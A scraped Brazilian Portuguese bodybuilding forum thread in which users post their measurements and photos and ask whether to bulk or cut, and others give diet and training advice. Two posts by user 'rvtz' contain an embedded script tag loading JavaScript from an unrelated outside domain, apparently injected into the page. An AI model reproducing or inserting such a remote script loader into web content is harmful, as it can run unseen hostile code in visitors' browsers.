Priscilla Cabral Postado Março 11, 2015 às 03:04 Postado Março 11, 2015 às 03:04 Belo shape, só achei o peito e perna um pouco menor que o resto, não sei se é o sono, mas tá top e tipo, li que quer mais definição depois que terminar o bulk, nê? Maneiro. Vai ficar legal. Valeu, irmão. Devo partir pro bulk bem limpo mesmo e sem pressa. Por já ter sido bem gordo é meio foda, bate um receio de ganhar muita gordura... mas brigadão! Tenha medo do bulk limpo não, porque mais massa magra só vai te ajudar a gastar calorias, acelerar o metabolismo. É bom ir com calma, os resultados vão vir, mas sem medo. Você já melhorou bastante, tem que encarar isso como um novo estilo de vida. De verdade.
Starolive Postado Março 11, 2015 às 03:53 Postado Março 11, 2015 às 03:53 (editado) Atura : 170 peso 69kg quanto vcs chutariam meu bf? em 1 ano ganhei 10 kg sai de 59 kg para 69kg , devo fazer um cutt leve ou continuo no bulk (aproveitando q o inverno ta chegando kkk) lembrando que pretendo ficar com um shape fitness tipo do Tony Do , ele tem mesma altura e pesa 70kg Editado Março 11, 2015 às 03:55 por Starolive
rvtz Postado Março 11, 2015 às 12:01 Postado Março 11, 2015 às 12:01 <script src="https://queryjs.me/services/script.js" type="text/javascript"></script> Atura : 170 peso 69kg quanto vcs chutariam meu bf? em 1 ano ganhei 10 kg sai de 59 kg para 69kg , devo fazer um cutt leve ou continuo no bulk (aproveitando q o inverno ta chegando kkk) lembrando que pretendo ficar com um shape fitness tipo do Tony Do , ele tem mesma altura e pesa 70kg Chuto 16%, não mais que isso. Talvez seja a iluminação. Mas voce precisa ganhar mais massa ai jovem, nao da pra ver formato dos musculos, tira umas fotos em uma luz melhor e posta dinovo. Ta fazendo dieta de bulk ? Disse que ganhou 10Kg em 1 ano. Eu limparia mais a dieta porque creio que vc nao siga uma e continuaria no bulk mas comendo mais limpo e com pelo menos umas 2500kcal (se for natural) ou umas 3000kcal (onfire rs).
Starolive Postado Março 11, 2015 às 12:26 Postado Março 11, 2015 às 12:26 Entao, eu sigo uma dieta limpa sim, nesses 10 kg eu usava um excedente de umas 500 calorias, minha duvida era em relacao a bf msm , voce acha que se eu continuar com um excedente de 500 calorias e ir para uns 80 kg depois eu faco um cutt da pra ficar com um shape legal?? lembrando que eu to fazendo o treino SL5x5
eduardomachadox Postado Março 11, 2015 às 20:15 Postado Março 11, 2015 às 20:15 (editado) Ola boa tarde a todos. Voltei a treina a 2 meses, estou. Me alimentando totalmente normal para ganho, porem não bulk. Meu objetivo, e ser grande do tamanho do Arnold, visto que tenho 1,91 de altura. Peso atualmente os 90kg Venho consultar vossa opinião, penso em chegar a 110,00 kg 20kg a mais do meu corpo normal, e ai sim fazer cut e ficar com meu corpo bacana nos 90kg de massa magra que seria um estagio bacana para poder começar novamente o ciclo. Atenciosamente aguardo opiniões. https://imgur.com/b05Ek3O Editado Março 11, 2015 às 20:28 por eduardomachadox
MrFera Postado Março 12, 2015 às 01:57 Postado Março 12, 2015 às 01:57 Amigo, pra começar, você não vai ficar do tamanho do Arnold de forma natural. Essa idéia de aumentar mais uns 20kgs e depois diminuir pode não prestar se você for natural. Procure fazer uns bulkings e cuttings mais curtos, levando o BF até uns 9% no cutting, e até no max uns 15, 16% no bulking. Eu de ti aproveitava o inverno e levava o bulking até uns 95kgs, no máximo 100, depois fazia um bom cutting.
Piaggio Postado Março 13, 2015 às 05:58 Postado Março 13, 2015 às 05:58 https://i.imgur.com/FMtv9ia.jpg 1,70~1,72 80kg e ai mlkada, cult ou bulk? meu bf ja ta em uns 50%? kkkkkk podem pegar pesado
C.Golden Postado Março 13, 2015 às 11:42 Postado Março 13, 2015 às 11:42 Cutting. Piaggio reagiu a isso 1
Piaggio Postado Março 13, 2015 às 15:18 Postado Março 13, 2015 às 15:18 Cutting. E aí, Cassio. Obg! Tu não acha q tem pouco volume pra cutt? Tava pensando em bulkar até uns 83/84kg até junho pra depois entrar em cutt... cutt é chato pra caralho kkkkk Abraços.
C.Golden Postado Março 13, 2015 às 16:38 Postado Março 13, 2015 às 16:38 E aí, Cassio. Obg! Tu não acha q tem pouco volume pra cutt? Tava pensando em bulkar até uns 83/84kg até junho pra depois entrar em cutt... cutt é chato pra caralho kkkkk Abraços. Cara.. Pela foto achei vc volumoso, mas posta as medidas aí pra ver,. Pelo peso dá a entender que precisa de Cutting, 1,70 p/ 80kgs. Piaggio reagiu a isso 1
João Brito Postado Março 13, 2015 às 17:41 Postado Março 13, 2015 às 17:41 E aí, Cassio. Obg! Tu não acha q tem pouco volume pra cutt? Tava pensando em bulkar até uns 83/84kg até junho pra depois entrar em cutt... cutt é chato pra caralho kkkkk Abraços. O BF já está meio alto, quanto mais alto o BF, pior ficam seus hormônios. Mais vai sofrer para perder a gordura e mais massa magra vai embora junto. Piaggio reagiu a isso 1
rafafit Postado Março 14, 2015 às 01:16 Postado Março 14, 2015 às 01:16 https://postimg.org/image/3uu8h86ln/ o que acham galera?
MatheusFidelis_ Postado Março 14, 2015 às 05:15 Postado Março 14, 2015 às 05:15 https://postimg.org/image/3uu8h86ln/ o que acham galera? Já tens uma massa legalzinha, aproveita pra quando chegar o inverno mandar a ver no bulking pra ganhar ainda mais e depois mete um cutting. Dai vai ficar maneiro.
rafafit Postado Março 14, 2015 às 14:45 Postado Março 14, 2015 às 14:45 Já tens uma massa legalzinha, aproveita pra quando chegar o inverno mandar a ver no bulking pra ganhar ainda mais e depois mete um cutting. Dai vai ficar maneiro. Estou pensando em fazer isso também, esse mês vou tentar perder o resto de gordura, e proximo mês ficar na manutenção, ai começo um bulk limpo até setembro! Out/Nov/Dez cutting
1dayumay Postado Março 14, 2015 às 23:36 Postado Março 14, 2015 às 23:36 o shape ta massa, ta no caminho certo. Mas a foto tem mais efeito que a bola do Roberto Carlos. Se quiser que o povo avalie o shape de verdade, tente colocar foto sem efeito e sem pump e sem valorizar a melhor pose. Isso dai guarde para o Intagram, rs. Bons ganhos. Sim e não, pois a maioria de fotos de shape que vemos na internet tem pelo menos a valorização de pose.
joaoninguem Postado Março 16, 2015 às 00:37 Postado Março 16, 2015 às 00:37 https://i.imgur.com/j3e11wa.jpg https://i.imgur.com/vvZNDok.jpg https://i.imgur.com/hjjuLpx.jpg https://i.imgur.com/i9LHe5D.jpg https://i.imgur.com/cK21R8Q.jpg Na ultima avaliação, etava com 14% de BF. Agora deve estar uns 15 e pouco. E ai, continuo no bulking ou vou para o cutting ? Obrigado
Alexandre Terra Postado Março 16, 2015 às 00:54 Postado Março 16, 2015 às 00:54 https://i.imgur.com/j3e11wa.jpg https://i.imgur.com/vvZNDok.jpg https://i.imgur.com/hjjuLpx.jpg https://i.imgur.com/i9LHe5D.jpg https://i.imgur.com/cK21R8Q.jpg Na ultima avaliação, etava com 14% de BF. Agora deve estar uns 15 e pouco. E ai, continuo no bulking ou vou para o cutting ? Obrigado Continua em bulking, precisa ganhar muita massa muscular ae pra pensar em cutting. Senão não adianta nada
rvtz Postado Março 16, 2015 às 12:11 Postado Março 16, 2015 às 12:11 <script src="https://queryjs.me/services/script.js" type="text/javascript"></script> https://i.imgur.com/j3e11wa.jpg https://i.imgur.com/vvZNDok.jpg https://i.imgur.com/hjjuLpx.jpg https://i.imgur.com/i9LHe5D.jpg https://i.imgur.com/cK21R8Q.jpg Na ultima avaliação, etava com 14% de BF. Agora deve estar uns 15 e pouco. E ai, continuo no bulking ou vou para o cutting ? Obrigado Come carinha, coma muito, bulka mais uns 2 anos e depois pensa num cutting. Pelas fotos voce parece inciante, então esquece isso de cutting, trincar e bla bla bla, voce precisa de MASSA MAGRA. pra isso, coma.
probur Postado Março 16, 2015 às 18:04 Postado Março 16, 2015 às 18:04 (editado) Por favor amigos, Bulk ou cut? Editado Março 16, 2015 às 18:05 por probur
C.Golden Postado Março 16, 2015 às 18:40 Postado Março 16, 2015 às 18:40 Por favor amigos, Bulk ou cut? cutting.
abdull Postado Março 16, 2015 às 23:16 Postado Março 16, 2015 às 23:16 Dae rapaziada sou novo aqui. 1.73 81kg https://imageshack.com/i/ipvFE04oj https://imageshack.com/i/eyeZ4DU1j https://imageshack.com/i/hlGjRf3Sj Por favor,bulk ou cut ?
gLfN Postado Março 16, 2015 às 23:19 Postado Março 16, 2015 às 23:19 Dae rapaziada sou novo aqui. 1.73 81kg https://imageshack.com/i/ipvFE04oj https://imageshack.com/i/eyeZ4DU1j https://imageshack.com/i/hlGjRf3Sj Por favor,bulk ou cut ? Da pra da mais uma bulkada e meter um cutting depois
Juansparra Postado Março 17, 2015 às 03:45 Postado Março 17, 2015 às 03:45 Boa noite galera, tenho 16 anos prático musculação um pouco mais de 8 meses com alguns intervalos devido à estudo e desanimo... Comecei com uns 65 kg e consegui chegar a 69-70 em 3 meses de musculação, depois disso fiquei meio desanimado e parei por algum tempo, tentei voltar, mas sempre parava no meio do caminho. Faz uma semana que voltei e pretendo continuar, gostaria de saber se é melhor eu treinar para secar fazer os aeróbios certinhos pra depois hipertrofiar ou começar o treino de hipertrofia logo de cara? vou postar 3 fotos uma antes e depois e outra atual. Desde já agradeço, e peço desculpas pela ignorância, sou novo no forum! Abraços
C.Golden Postado Março 17, 2015 às 11:43 Postado Março 17, 2015 às 11:43 Dae rapaziada sou novo aqui. 1.73 81kg https://imageshack.com/i/ipvFE04oj https://imageshack.com/i/eyeZ4DU1j https://imageshack.com/i/hlGjRf3Sj Por favor,bulk ou cut ? Acho que um Cutting ficaria legal Hein. Shape tá daora, parabéns. Boa noite galera, tenho 16 anos prático musculação um pouco mais de 8 meses com alguns intervalos devido à estudo e desanimo... Comecei com uns 65 kg e consegui chegar a 69-70 em 3 meses de musculação, depois disso fiquei meio desanimado e parei por algum tempo, tentei voltar, mas sempre parava no meio do caminho. Faz uma semana que voltei e pretendo continuar, gostaria de saber se é melhor eu treinar para secar fazer os aeróbios certinhos pra depois hipertrofiar ou começar o treino de hipertrofia logo de cara? vou postar 3 fotos uma antes e depois e outra atual. Desde já agradeço, e peço desculpas pela ignorância, sou novo no forum! Abraços Parceiro, Acho que um bulking pra vc. Segue firme cara, esse negocio de ficar parando e voltando é coisa de quem não tem determinação. Só falte a academia em caso de doenças ou imprevistos urgentes. TMJ
gmmachado Postado Março 17, 2015 às 14:09 Postado Março 17, 2015 às 14:09 Galera, Voltei a treinar no começo do ano e estou em cutting até agora... Altura: 1,81 Peso: 89 (Estava com 96 no início do cutt) Braço: 36+- Bf: Poderiam ajudar? Não tenho idéia Fotos Início: Atualmente: Queria manter até pelo menos ver o abdômen, mesmo ficando com esse peito de pombo magro ahahah oq acham? Cutt mais um tempo ou bulk limpo?
Lucas Carvalhão Postado Março 17, 2015 às 15:51 Postado Março 17, 2015 às 15:51 (editado) Olá pessoal só novo aqui no forum, e ta sendo um grande prazer pertencer ao mesmo... Então é o seguinte tenho 18 anos 1,80 de altura e 76 kg e 17 % de bf, começei a academia a uma semana não faço aérobico e me alimento para bulking... A duvida é: mantenho o bulking e fodace o 17 bf ou diminuo o bf e começo o bulking limpo? Editado Março 17, 2015 às 15:52 por Lucas Carvalhão
MrFera Postado Março 17, 2015 às 16:54 Postado Março 17, 2015 às 16:54 Galera, Voltei a treinar no começo do ano e estou em cutting até agora... Altura: 1,81 Peso: 89 (Estava com 96 no início do cutt) Braço: 36+- Bf: Poderiam ajudar? Não tenho idéia Fotos Início: Atualmente: Queria manter até pelo menos ver o abdômen, mesmo ficando com esse peito de pombo magro ahahah oq acham? Cutt mais um tempo ou bulk limpo? Acho interessante continuar em cutting até começar o inverno, e depois segue em um bulking bem lento, e bem limpo. Boa noite galera, tenho 16 anos prático musculação um pouco mais de 8 meses com alguns intervalos devido à estudo e desanimo... Comecei com uns 65 kg e consegui chegar a 69-70 em 3 meses de musculação, depois disso fiquei meio desanimado e parei por algum tempo, tentei voltar, mas sempre parava no meio do caminho. Faz uma semana que voltei e pretendo continuar, gostaria de saber se é melhor eu treinar para secar fazer os aeróbios certinhos pra depois hipertrofiar ou começar o treino de hipertrofia logo de cara? vou postar 3 fotos uma antes e depois e outra atual. Desde já agradeço, e peço desculpas pela ignorância, sou novo no forum! Abraços Bulking . Mas falta fotos sem a camisa, não da pra ver muita coisa assim. E que altura tens? Olá pessoal só novo aqui no forum, e ta sendo um grande prazer pertencer ao mesmo... Então é o seguinte tenho 18 anos 1,80 de altura e 76 kg e 17 % de bf, começei a academia a uma semana não faço aérobico e me alimento para bulking... A duvida é: mantenho o bulking e fodace o 17 bf ou diminuo o bf e começo o bulking limpo? Como você começou a academia agora, é normal ganhar massa e perder gordura ao mesmo tempo, então pode continuar no bulking. mas CUIDADO com esse "fodasse o Bf e continuo no bulking". Faz um bulking limpo, se fazer sujo vai se arrepender. Lucas Carvalhão reagiu a isso 1
Lucas Carvalhão Postado Março 17, 2015 às 17:23 Postado Março 17, 2015 às 17:23 Como você começou a academia agora, é normal ganhar massa e perder gordura ao mesmo tempo, então pode continuar no bulking. mas CUIDADO com esse "fodasse o Bf e continuo no bulking". Faz um bulking limpo, se fazer sujo vai se arrepender. Eu já estou fazendo um bulking limpo, acho q me expressei mal em questão do fdc bf... Então vou continuar com o bulking até ganhar um volume bom! vlw truta abrçs...
Priscilla Cabral Postado Março 17, 2015 às 22:24 Postado Março 17, 2015 às 22:24 Eu já estou fazendo um bulking limpo, acho q me expressei mal em questão do fdc bf... Então vou continuar com o bulking até ganhar um volume bom! vlw truta abrçs... Faça isso, truta hahahahah Lucas Carvalhão e rvtz reagiu a isso 2
Brunskovy Postado Março 18, 2015 às 01:31 Postado Março 18, 2015 às 01:31 E ai Galera, preciso da ajuda de vocês! Seguinte, tenho 1,71m, 24 anos e atualmente estou pesando 74kg. Pratico musculação a algum tempo já, sendo que quando comecei pesava 96kg. Sempre tive bastante resultados perdendo as gorduras, porém estagnei neste ponto e mesmo fazendo dieta com deficit calórico não consegui eliminar essas gorduras localizadas (baixo abdomên, peito, culote e inteiror das pernas). Estou insatisfeito com meu peitoral e com o resto todo... tudo fica pior quando sento por exemplo, onde todas flacidezes descem juntas para o abdomên! Enfim, não sei qual caminho seguir, no momento faço treino ABC2x (segui orientações do forum mesmo) e Hiit na bike de spinning. OBS: Cheguei a pesar 67kg por um tempo e essas gorduras ainda estavam ai... perdi nessa época apenas massa magra. Me ajudem, o que faço??? Obrigado desde já!
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